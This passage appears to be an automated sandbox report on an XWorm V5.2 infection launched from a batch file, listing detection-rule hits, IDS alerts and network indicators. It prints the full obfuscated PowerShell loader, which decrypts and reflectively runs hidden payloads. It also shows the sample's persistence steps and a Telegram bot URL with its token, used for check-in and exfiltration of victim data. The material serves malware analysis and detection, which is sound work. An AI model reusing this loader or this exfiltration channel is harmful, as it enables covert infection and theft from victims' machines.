        Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\e45iasd.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e45iasd
        Sigma detected: Gzip Archive Decode Via PowerShell
        Source: Process startedAuthor: Hieu Tran: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
        Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\e45iasd.exe, ProcessId: 5020, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slisvmae.zsf.ps1
        Sigma detected: Potential Binary Or Script Dropper Via PowerShell
        Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6392, TargetFilename: C:\Users\user\AppData\Roaming\startup_str_521.vbs
        Sigma detected: Startup Folder File Write
        Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 936, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk
        Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
        Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , ProcessId: 3136, ProcessName: wscript.exe
        Sigma detected: Non Interactive PowerShell Process Spawned
        Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
        Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp

        Suricata Signatures

        Timestamp:2024-08-22T13:12:02.779834+0200
        SID:2853193
        Severity:1
        Source Port:49726
        Destination Port:2404
        Protocol:TCP
        Classtype:Malware Command and Control Activity Detected
        Timestamp:2024-08-22T13:10:37.349104+0200
        SID:2853685
        Severity:1
        Source Port:49717
        Destination Port:443
        Protocol:TCP
        Classtype:A Network Trojan was detected
        Timestamp:2024-08-22T13:11:17.374041+0200
        SID:2855924
        Severity:1
        Source Port:49720
        Destination Port:2404
        Protocol:TCP
        Classtype:Malware Command and Control Activity Detected

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus detection for dropped file
        Source: C:\Users\user\AppData\Roaming\startup_str_521.vbsAvira: detection malicious, Label: VBS/Runner.VPXO
        Multi AV Scanner detection for submitted file
        Source: PollosAplicaccion.batReversingLabs: Detection: 21%
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.1% probability
        Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49717 version: TLS 1.2
        Source: Binary string: powershell.pdbUGP source: e45iasd.exe, 00000014.00000000.2444901627.00007FF63FC0A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.17.dr
        Source: Binary string: powershell.pdb source: e45iasd.exe, 00000014.00000000.2444901627.00007FF63FC0A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.17.dr

        Software Vulnerabilities

        barindex
        Suspicious execution chain found
        Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

        Networking

        barindex
        Suricata IDS alerts for network traffic
        Source: Network trafficSuricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49720 -> 95.98.144.201:2404
        Source: Network trafficSuricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49726 -> 95.98.144.201:2404
        Source: Network trafficSuricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.6:49717 -> 149.154.167.220:443
        Uses the Telegram API (likely for C&C communication)
        Source: unknownDNS query: name: api.telegram.org
        Source: global trafficTCP traffic: 192.168.2.6:49718 -> 95.98.144.201:2404
        Source: global trafficHTTP traffic detected: GET /bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6337292784&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A87D11B8638EC6829CF88%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20B2C22K%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
        Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
        Source: Joe Sandbox ViewASN Name: TELEGRAMRU TELEGRAMRU
        Source: Joe Sandbox ViewASN Name: TMO-NL-ASNL TMO-NL-ASNL
        Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownTCP traffic detected without corresponding DNS query: 95.98.144.201
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6337292784&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A87D11B8638EC6829CF88%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20B2C22K%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
        Source: global trafficDNS traffic detected: DNS query: api.telegram.org
        Source: powershell.exe, 00000006.00000002.2325743770.000001D56948C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://PSWorkflow.psm1ol
        Source: e45iasd.exe, 00000019.00000002.3602792409.000002306E3D5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
        Source: e45iasd.exe, 00000014.00000002.3426459612.000001CF5D985000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoftG
        Source: powershell.exe, 00000011.00000002.3421045734.0000020160121000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.v
        Source: powershell.exe, 00000005.00000002.2425670650.0000020644646000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2321024388.000001D56103D000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F6D4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: powershell.exe, 00000005.00000002.2376839730.0000020634431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2299974852.000001D550FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3452902429.0000020162301000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F3F1000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241B0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.0000023000094000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
        Source: powershell.exe, 00000011.00000002.3442013616.0000020162227000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.l
        Source: powershell.exe, 00000005.00000002.2376839730.0000020634431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2299974852.000001D550FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3452902429.0000020162301000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F3F1000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241DF000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD241B0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.0000023000047000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.000002300005B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
        Source: powershell.exe, 00000006.00000002.2299974852.000001D5511F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
        Source: powershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
        Source: powershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
        Source: powershell.exe, 00000011.00000002.3452902429.0000020162BF6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=63372
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60F7A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF605E7000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000017.00000002.3435166260.000002AD249E5000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000019.00000002.3415624859.00000230008CC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
        Source: powershell.exe, 00000005.00000002.2425670650.0000020644646000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2321024388.000001D56103D000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF5F6D4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000014.00000002.3430899028.000001CF610F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
        Source: e45iasd.exe, 00000014.00000002.3430899028.000001CF60DD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
        Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
        Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49717 version: TLS 1.2

        Spam, unwanted Advertisements and Ransom Demands

        barindex
        Reads the Security eventlog
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
        Reads the System eventlog
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
        Source: C:\Users\user\e45iasd.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

        System Summary

        barindex
        Powershell drops PE file
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\e45iasd.exeJump to dropped file
        Windows Scripting host queries suspicious COM object (likely to drop second stage)
        Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
        Wscript starts Powershell (via cmd or directly)
